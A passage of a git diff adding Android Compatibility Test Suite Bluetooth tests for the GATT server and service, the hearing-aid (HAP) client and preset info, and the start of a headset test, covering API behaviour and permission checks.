+                mBluetoothGattDescriptor);
+        mCallbacks.onDescriptorWriteRequest(mBluetoothDevice, 0,
+                mBluetoothGattDescriptor, true,
+                true, 0, mBytes);
+        mCallbacks.onExecuteWrite(mBluetoothDevice, 0, true);
+        mCallbacks.onNotificationSent(mBluetoothDevice, BluetoothGatt.GATT_SUCCESS);
+        mCallbacks.onMtuChanged(mBluetoothDevice, 0);
+        mCallbacks.onPhyUpdate(mBluetoothDevice, BluetoothDevice.PHY_LE_2M,
+                BluetoothDevice.PHY_LE_2M, BluetoothGatt.GATT_SUCCESS);
+        mCallbacks.onPhyRead(mBluetoothDevice, BluetoothDevice.PHY_LE_2M,
+                BluetoothDevice.PHY_LE_2M,
+                BluetoothGatt.GATT_SUCCESS);
+    }
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothGattServerTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothGattServerTest.java
new file mode 100644
index 0000000..6c9959a
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothGattServerTest.java
@@ -0,0 +1,122 @@
+/*
+ * Copyright 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import static android.Manifest.permission.BLUETOOTH_CONNECT;
+
+import static org.junit.Assert.assertThrows;
+
+import android.app.UiAutomation;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothDevice;
+import android.bluetooth.BluetoothGattServer;
+import android.bluetooth.BluetoothGattServerCallback;
+import android.bluetooth.BluetoothGattService;
+import android.bluetooth.BluetoothManager;
+import android.content.pm.PackageManager;
+import android.test.AndroidTestCase;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import java.util.ArrayList;
+import java.util.UUID;
+
+public class BluetoothGattServerTest extends AndroidTestCase {
+
+    private final UUID TEST_UUID = UUID.fromString("0000110a-0000-1000-8000-00805f9b34fb");
+    private BluetoothAdapter mBluetoothAdapter;
+    private BluetoothGattServer mBluetoothGattServer;
+    private BluetoothManager mBluetoothManager;
+    private UiAutomation mUIAutomation;
+    private boolean mHasBluetooth;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+
+        mHasBluetooth = getContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_BLUETOOTH);
+        mUIAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        mUIAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
+        if (!mHasBluetooth) return;
+        mBluetoothAdapter = getContext().getSystemService(BluetoothManager.class).getAdapter();
+        assertTrue(BTAdapterUtils.enableAdapter(mBluetoothAdapter, mContext));
+        mBluetoothManager = mContext.getSystemService(BluetoothManager.class);
+        mBluetoothGattServer = mBluetoothManager.openGattServer(mContext,
+                new BluetoothGattServerCallback() {
+                });
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        super.tearDown();
+        if (mHasBluetooth) {
+            mUIAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
+            if (mBluetoothAdapter != null && mBluetoothGattServer != null) {
+                mBluetoothGattServer.close();
+                mBluetoothGattServer = null;
+            }
+            assertTrue(BTAdapterUtils.disableAdapter(mBluetoothAdapter, mContext));
+            mBluetoothAdapter = null;
+            mUIAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    public void testGetConnectedDevices() {
+        if (!mHasBluetooth) return;
+        assertThrows(UnsupportedOperationException.class,
+                () -> mBluetoothGattServer.getConnectedDevices());
+    }
+
+    public void testGetConnectionState() {
+        if (!mHasBluetooth) return;
+        assertThrows(UnsupportedOperationException.class,
+                () -> mBluetoothGattServer.getConnectionState(null));
+    }
+
+    public void testGetDevicesMatchingConnectionStates() {
+        if (!mHasBluetooth) return;
+        assertThrows(UnsupportedOperationException.class,
+                () -> mBluetoothGattServer.getDevicesMatchingConnectionStates(null));
+    }
+
+    public void testGetService() {
+        if (!mHasBluetooth) return;
+        assertNull(mBluetoothGattServer.getService(TEST_UUID));
+    }
+
+    public void testGetServices() {
+        if (!mHasBluetooth) return;
+        assertEquals(mBluetoothGattServer.getServices(), new ArrayList<BluetoothGattService>());
+    }
+
+    public void testReadPhy() {
+        if (!mHasBluetooth) return;
+        BluetoothDevice testDevice = mBluetoothAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
+        mUIAutomation.dropShellPermissionIdentity();
+        assertThrows(SecurityException.class, () -> mBluetoothGattServer.readPhy(testDevice));
+    }
+
+    public void testSetPreferredPhy() {
+        if (!mHasBluetooth) return;
+        BluetoothDevice testDevice = mBluetoothAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
+        mUIAutomation.dropShellPermissionIdentity();
+        assertThrows(SecurityException.class, () -> mBluetoothGattServer.setPreferredPhy(testDevice,
+                BluetoothDevice.PHY_LE_1M_MASK, BluetoothDevice.PHY_LE_1M_MASK,
+                BluetoothDevice.PHY_OPTION_NO_PREFERRED));
+    }
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothGattServiceTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothGattServiceTest.java
new file mode 100644
index 0000000..e92b905
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothGattServiceTest.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import android.bluetooth.BluetoothGattService;
+import android.test.AndroidTestCase;
+
+import java.util.UUID;
+
+public class BluetoothGattServiceTest extends AndroidTestCase {
+
+    private UUID TEST_UUID = UUID.fromString("0000110a-0000-1000-8000-00805f9b34fb");
+    private BluetoothGattService mBluetoothGattService;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        mBluetoothGattService = new BluetoothGattService(TEST_UUID,
+                BluetoothGattService.SERVICE_TYPE_PRIMARY);
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        super.tearDown();
+        mBluetoothGattService = null;
+    }
+
+    public void test_getInstanceId() {
+       assertEquals(mBluetoothGattService.getInstanceId(), 0);
+    }
+
+    public void test_getType() {
+        assertEquals(mBluetoothGattService.getType(), BluetoothGattService.SERVICE_TYPE_PRIMARY);
+    }
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHapClientTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHapClientTest.java
new file mode 100644
index 0000000..fb5f241
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHapClientTest.java
@@ -0,0 +1,507 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import static android.Manifest.permission.BLUETOOTH_CONNECT;
+import static android.Manifest.permission.BLUETOOTH_PRIVILEGED;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertThrows;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothDevice;
+import android.bluetooth.BluetoothHapClient;
+import android.bluetooth.BluetoothHapPresetInfo;
+import android.bluetooth.BluetoothProfile;
+import android.bluetooth.BluetoothStatusCodes;
+import android.content.Context;
+import android.os.Build;
+import android.util.Log;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.locks.Condition;
+import java.util.concurrent.locks.ReentrantLock;
+
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+public class BluetoothHapClientTest {
+    private static final String TAG = BluetoothHapClientTest.class.getSimpleName();
+
+    private static final int PROXY_CONNECTION_TIMEOUT_MS = 500;  // ms timeout for Proxy Connect
+
+    private Context mContext;
+    private boolean mHasBluetooth;
+    private BluetoothAdapter mAdapter;
+
+    private BluetoothHapClient mBluetoothHapClient;
+    private boolean mIsHapClientSupported;
+    private boolean mIsProfileReady;
+    private Condition mConditionProfileIsConnected;
+    private ReentrantLock mProfileConnectedlock;
+
+    private boolean mOnPresetSelected = false;
+    private boolean mOnPresetSelectionFailed = false;
+    private boolean mOnPresetSelectionForGroupFailed = false;
+    private boolean mOnPresetInfoChanged = false;
+    private boolean mOnSetPresetNameFailed = false;
+    private boolean mOnSetPresetNameForGroupFailed = false;
+
+    private CountDownLatch mCallbackCountDownLatch;
+    private List<BluetoothHapPresetInfo> mPresetInfoList = new ArrayList();
+
+    private static final int TEST_REASON_CODE = BluetoothStatusCodes.REASON_LOCAL_STACK_REQUEST;
+    private static final int TEST_PRESET_INDEX = 13;
+    private static final int TEST_STATUS_CODE = BluetoothStatusCodes.ERROR_HAP_INVALID_PRESET_INDEX;
+    private static final int TEST_HAP_GROUP_ID = 65;
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getInstrumentation().getContext();
+        if (!ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU)) {
+            return;
+        }
+        mHasBluetooth = TestUtils.hasBluetooth();
+        if (!mHasBluetooth) {
+            return;
+        }
+
+        mIsHapClientSupported = TestUtils.isProfileEnabled(BluetoothProfile.HAP_CLIENT);
+        if (!mIsHapClientSupported) {
+            return;
+        }
+
+        TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT, BLUETOOTH_PRIVILEGED);
+        mAdapter = TestUtils.getBluetoothAdapterOrDie();
+        assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
+
+        mProfileConnectedlock = new ReentrantLock();
+        mConditionProfileIsConnected  = mProfileConnectedlock.newCondition();
+        mIsProfileReady = false;
+        mBluetoothHapClient = null;
+
+        mAdapter.getProfileProxy(mContext, new BluetoothHapClientServiceListener(),
+                BluetoothProfile.HAP_CLIENT);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        if (!(mHasBluetooth && mIsHapClientSupported)) {
+            return;
+        }
+        if (mBluetoothHapClient != null) {
+            mBluetoothHapClient.close();
+            mBluetoothHapClient = null;
+            mIsProfileReady = false;
+        }
+        if (mAdapter != null) {
+            assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+            mAdapter = null;
+        }
+        TestUtils.dropPermissionAsShellUid();
+    }
+
+    @Test
+    public void testGetConnectedDevices() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothHapClient);
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+
+        // Verify returns empty list if bluetooth is not enabled
+        List<BluetoothDevice> connectedDevices = mBluetoothHapClient.getConnectedDevices();
+        assertTrue(connectedDevices.isEmpty());
+    }
+
+    @Test
+    public void testGetDevicesMatchingConnectionStates() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothHapClient);
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+
+        // Verify returns empty list if bluetooth is not enabled
+        List<BluetoothDevice> connectedDevices =
+                mBluetoothHapClient.getDevicesMatchingConnectionStates(null);
+        assertTrue(connectedDevices.isEmpty());
+    }
+
+    @Test
+    public void testGetConnectionState() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothHapClient);
+
+        BluetoothDevice testDevice = mAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
+
+        // Verify returns STATE_DISCONNECTED when invalid input is given
+        assertEquals(BluetoothProfile.STATE_DISCONNECTED,
+                mBluetoothHapClient.getConnectionState(null));
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+
+        // Verify returns STATE_DISCONNECTED if bluetooth is not enabled
+        assertEquals(BluetoothProfile.STATE_DISCONNECTED,
+                mBluetoothHapClient.getConnectionState(testDevice));
+    }
+
+    @Test
+    public void testGetActivePresetIndex() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothHapClient);
+
+        BluetoothDevice testDevice = mAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+
+        // Verify returns null if bluetooth is not enabled
+        assertNull(mBluetoothHapClient.getActivePresetInfo(testDevice));
+    }
+
+    @Test
+    public void testSelectPreset() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothHapClient);
+
+        BluetoothDevice testDevice = mAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+
+        mBluetoothHapClient.selectPreset(testDevice, 1);
+    }
+
+    @Test
+    public void testSelectPresetForGroup() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothHapClient);
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+
+        mBluetoothHapClient.selectPresetForGroup(1, 1);
+    }
+
+    @Test
+    public void testGetAllPresetInfo() {
+        if (shouldSkipTest()) {
+            return;
+        }
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothHapClient);
+
+        BluetoothDevice testDevice = mAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+
+        // Verify returns empty list if bluetooth is not enabled
+        List<BluetoothHapPresetInfo> presets = mBluetoothHapClient.getAllPresetInfo(testDevice);
+        assertTrue(presets.isEmpty());
+    }
+
+    @Test
+    public void testSetPresetName() {
+        if (shouldSkipTest()) {
+            return;
+        }
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothHapClient);
+
+        BluetoothDevice testDevice = mAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+
+        mBluetoothHapClient.setPresetName(testDevice, 1 , "New Name");
+    }
+
+    @Test
+    public void testSetPresetNameForGroup() {
+        if (shouldSkipTest()) {
+            return;
+        }
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothHapClient);
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+
+        mBluetoothHapClient.setPresetNameForGroup(1, 1 , "New Name");
+    }
+
+    @Test
+    public void testSetGetConnectionPolicy() {
+        if (!(mHasBluetooth && mIsHapClientSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothHapClient);
+
+        assertThrows(NullPointerException.class,
+                () -> mBluetoothHapClient.setConnectionPolicy(null, 0));
+        assertEquals(BluetoothProfile.CONNECTION_POLICY_FORBIDDEN,
+                mBluetoothHapClient.getConnectionPolicy(null));
+
+        BluetoothDevice testDevice = mAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
+        assertTrue(mBluetoothHapClient.setConnectionPolicy(testDevice,
+                BluetoothProfile.CONNECTION_POLICY_FORBIDDEN));
+
+        TestUtils.dropPermissionAsShellUid();
+        assertThrows(SecurityException.class, () -> mBluetoothHapClient
+                .setConnectionPolicy(testDevice, BluetoothProfile.CONNECTION_POLICY_FORBIDDEN));
+        assertThrows(SecurityException.class,
+                () -> mBluetoothHapClient.getConnectionPolicy(testDevice));
+
+        TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT, BLUETOOTH_PRIVILEGED);
+    }
+
+    @Test
+    public void testRegisterUnregisterCallback() {
+        if (!(mHasBluetooth && mIsHapClientSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothHapClient);
+
+        Executor executor = mContext.getMainExecutor();
+
+        BluetoothHapClient.Callback callback = new BluetoothHapClient.Callback() {
+            @Override
+            public void onPresetSelected(BluetoothDevice device, int presetIndex, int reasonCode) {}
+
+            @Override
+            public void onPresetSelectionFailed(BluetoothDevice device, int statusCode) {}
+
+            @Override
+            public void onPresetSelectionForGroupFailed(int hapGroupId, int statusCode) {}
+
+            @Override
+            public void onPresetInfoChanged(BluetoothDevice device,
+                    List<BluetoothHapPresetInfo> presetInfoList, int statusCode) {}
+
+            @Override
+            public void onSetPresetNameFailed(BluetoothDevice device, int status) {}
+
+            @Override
+            public void onSetPresetNameForGroupFailed(int hapGroupId, int status) {}
+        };
+
+        // Verify parameter
+        assertThrows(NullPointerException.class, () ->
+                mBluetoothHapClient.registerCallback(null, callback));
+        assertThrows(NullPointerException.class, () ->
+                mBluetoothHapClient.registerCallback(executor, null));
+        assertThrows(NullPointerException.class, () ->
+                mBluetoothHapClient.unregisterCallback(null));
+
+        // Verify valid parameters
+        mBluetoothHapClient.registerCallback(executor, callback);
+        mBluetoothHapClient.unregisterCallback(callback);
+
+        TestUtils.dropPermissionAsShellUid();
+        TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT);
+
+        // Verify throws SecurityException without permission.BLUETOOTH_PRIVILEGED
+        assertThrows(SecurityException.class,
+                () -> mBluetoothHapClient.registerCallback(executor, callback));
+    }
+
+    @Test
+    public void testRegisterCallbackNoPermission() {
+        if (!(mHasBluetooth && mIsHapClientSupported)) return;
+
+        TestUtils.dropPermissionAsShellUid();
+        TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT);
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothHapClient);
+
+        Executor executor = mContext.getMainExecutor();
+
+        BluetoothHapClient.Callback callback = new BluetoothHapClient.Callback() {
+            @Override
+            public void onPresetSelected(BluetoothDevice device, int presetIndex, int reasonCode) {}
+
+            @Override
+            public void onPresetSelectionFailed(BluetoothDevice device, int statusCode) {}
+
+            @Override
+            public void onPresetSelectionForGroupFailed(int hapGroupId, int statusCode) {}
+
+            @Override
+            public void onPresetInfoChanged(BluetoothDevice device,
+                    List<BluetoothHapPresetInfo> presetInfoList, int statusCode) {}
+
+            @Override
+            public void onSetPresetNameFailed(BluetoothDevice device, int status) {}
+
+            @Override
+            public void onSetPresetNameForGroupFailed(int hapGroupId, int status) {}
+        };
+
+        // Verify throws SecurityException without permission.BLUETOOTH_PRIVILEGED
+        assertThrows(SecurityException.class,
+                () -> mBluetoothHapClient.registerCallback(executor, callback));
+
+        TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT, BLUETOOTH_PRIVILEGED);
+    }
+
+    @Test
+    public void testCallbackCalls() {
+        if (!(mHasBluetooth && mIsHapClientSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothHapClient);
+
+        BluetoothHapClient.Callback callback = new BluetoothHapClient.Callback() {
+            @Override
+            public void onPresetSelected(BluetoothDevice device, int presetIndex, int reasonCode) {
+                mOnPresetSelected = true;
+                mCallbackCountDownLatch.countDown();
+            }
+
+            @Override
+            public void onPresetSelectionFailed(BluetoothDevice device, int statusCode) {
+                mOnPresetSelectionFailed = true;
+                mCallbackCountDownLatch.countDown();
+            }
+
+            @Override
+            public void onPresetSelectionForGroupFailed(int hapGroupId, int statusCode) {
+                mOnPresetSelectionForGroupFailed = true;
+                mCallbackCountDownLatch.countDown();
+            }
+
+            @Override
+            public void onPresetInfoChanged(BluetoothDevice device,
+                    List<BluetoothHapPresetInfo> presetInfoList, int statusCode) {
+                mOnPresetInfoChanged = true;
+                mCallbackCountDownLatch.countDown();
+            }
+
+            @Override
+            public void onSetPresetNameFailed(BluetoothDevice device, int status) {
+                mOnSetPresetNameFailed = true;
+                mCallbackCountDownLatch.countDown();
+            }
+
+            @Override
+            public void onSetPresetNameForGroupFailed(int hapGroupId, int status) {
+                mOnSetPresetNameForGroupFailed = true;
+                mCallbackCountDownLatch.countDown();
+            }
+        };
+
+        mCallbackCountDownLatch = new CountDownLatch(6);
+        BluetoothDevice testDevice = mAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
+        try {
+            callback.onPresetSelected(testDevice, TEST_PRESET_INDEX, TEST_REASON_CODE);
+            callback.onPresetSelectionFailed(testDevice, TEST_STATUS_CODE);
+            callback.onPresetSelectionForGroupFailed(TEST_HAP_GROUP_ID, TEST_STATUS_CODE);
+            callback.onPresetInfoChanged(testDevice, mPresetInfoList, TEST_STATUS_CODE);
+            callback.onSetPresetNameFailed(testDevice, TEST_STATUS_CODE);
+            callback.onSetPresetNameForGroupFailed(TEST_HAP_GROUP_ID, TEST_STATUS_CODE);
+
+            // Wait for all the callback calls or 5 seconds to verify
+            mCallbackCountDownLatch.await(5, TimeUnit.SECONDS);
+            assertTrue(mOnPresetSelected);
+            assertTrue(mOnPresetSelectionFailed);
+            assertTrue(mOnPresetSelectionForGroupFailed);
+            assertTrue(mOnPresetInfoChanged);
+            assertTrue(mOnSetPresetNameFailed);
+            assertTrue(mOnSetPresetNameForGroupFailed);
+        } catch (InterruptedException e) {
+            fail("Failed to register callback call: " + e.toString());
+        }
+    }
+
+    private boolean shouldSkipTest() {
+        return !(mHasBluetooth && mIsHapClientSupported);
+    }
+
+    private boolean waitForProfileConnect() {
+        mProfileConnectedlock.lock();
+        try {
+            // Wait for the Adapter to be disabled
+            while (!mIsProfileReady) {
+                if (!mConditionProfileIsConnected.await(
+                        PROXY_CONNECTION_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+                    // Timeout
+                    Log.e(TAG, "Timeout while waiting for Profile Connect");
+                    break;
+                } // else spurious wakeups
+            }
+        } catch (InterruptedException e) {
+            Log.e(TAG, "waitForProfileConnect: interrupted");
+        } finally {
+            mProfileConnectedlock.unlock();
+        }
+        return mIsProfileReady;
+    }
+
+    private final class BluetoothHapClientServiceListener implements
+            BluetoothProfile.ServiceListener {
+
+        @Override
+        public void onServiceConnected(int profile, BluetoothProfile proxy) {
+            mProfileConnectedlock.lock();
+            mBluetoothHapClient = (BluetoothHapClient) proxy;
+            mIsProfileReady = true;
+            try {
+                mConditionProfileIsConnected.signal();
+            } finally {
+                mProfileConnectedlock.unlock();
+            }
+        }
+
+        @Override
+        public void onServiceDisconnected(int profile) {
+        }
+    }
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHapPresetInfoTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHapPresetInfoTest.java
new file mode 100644
index 0000000..80f4bbd
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHapPresetInfoTest.java
@@ -0,0 +1,114 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import static android.Manifest.permission.BLUETOOTH_CONNECT;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothHapPresetInfo;
+import android.bluetooth.BluetoothProfile;
+import android.content.Context;
+import android.os.Build;
+import android.os.Parcel;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+public class BluetoothHapPresetInfoTest {
+    private static final int TEST_PRESET_INDEX = 15;
+    private static final String TEST_PRESET_NAME = "Test";
+
+    private Context mContext;
+    private boolean mHasBluetooth;
+    private BluetoothAdapter mAdapter;
+    private boolean mIsHapSupported;
+
+    @Before
+    public void setUp() {
+        mContext = InstrumentationRegistry.getInstrumentation().getContext();
+        if (!ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU)) {
+            return;
+        }
+        mHasBluetooth = TestUtils.hasBluetooth();
+        if (!mHasBluetooth) {
+            return;
+        }
+
+        mIsHapSupported = TestUtils.isProfileEnabled(BluetoothProfile.HAP_CLIENT);
+        if (!mIsHapSupported) {
+            return;
+        }
+
+        TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT);
+        mAdapter = TestUtils.getBluetoothAdapterOrDie();
+        assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
+    }
+
+    @After
+    public void tearDown() {
+        if (!(mHasBluetooth && mIsHapSupported)) {
+            return;
+        }
+        if (mAdapter != null) {
+            assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        }
+        mAdapter = null;
+        TestUtils.dropPermissionAsShellUid();
+    }
+
+    @Test
+    public void testCreateHapPresetInfo() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        BluetoothHapPresetInfo presetInfo = createBluetoothHapPresetInfoForTest(TEST_PRESET_INDEX,
+                TEST_PRESET_NAME, true /* isAvailable */, false /* isWritable */);
+        assertEquals(TEST_PRESET_INDEX, presetInfo.getIndex());
+        assertEquals(TEST_PRESET_NAME, presetInfo.getName());
+        assertTrue(presetInfo.isAvailable());
+        assertFalse(presetInfo.isWritable());
+    }
+
+    static BluetoothHapPresetInfo createBluetoothHapPresetInfoForTest(int presetIndex,
+            String presetName, boolean isAvailable, boolean isWritable) {
+        Parcel out = Parcel.obtain();
+        out.writeInt(presetIndex);
+        out.writeString(presetName);
+        out.writeBoolean(isWritable);
+        out.writeBoolean(isAvailable);
+        out.setDataPosition(0); // reset position of parcel before passing to constructor
+        return BluetoothHapPresetInfo.CREATOR.createFromParcel(out);
+    }
+
+    private boolean shouldSkipTest() {
+        return !mHasBluetooth || !mIsHapSupported;
+    }
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHeadsetTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHeadsetTest.java
new file mode 100644
index 0000000..6925d9e
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHeadsetTest.java
@@ -0,0 +1,240 @@
+/*
+ * Copyright 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import static android.Manifest.permission.BLUETOOTH_CONNECT;
+
+import android.app.UiAutomation;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothDevice;
+import android.bluetooth.BluetoothHeadset;
+import android.bluetooth.BluetoothManager;
+import android.bluetooth.BluetoothProfile;
+import android.content.pm.PackageManager;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import java.util.ArrayList;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.locks.Condition;
+import java.util.concurrent.locks.ReentrantLock;
+
+public class BluetoothHeadsetTest extends AndroidTestCase {
+    private static final String TAG = BluetoothHeadsetTest.class.getSimpleName();
+
+    private static final int PROXY_CONNECTION_TIMEOUT_MS = 500;  // ms timeout for Proxy Connect
+
+    private boolean mHasBluetooth;
+    private BluetoothAdapter mAdapter;
+    private UiAutomation mUiAutomation;;
+
+    private BluetoothHeadset mBluetoothHeadset;
+    private boolean mIsHeadsetSupported;
+    private boolean mIsProfileReady;
+    private Condition mConditionProfileIsConnected;
+    private ReentrantLock mProfileConnectedlock;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        mHasBluetooth = getContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_BLUETOOTH);
+        if (!mHasBluetooth) return;
+
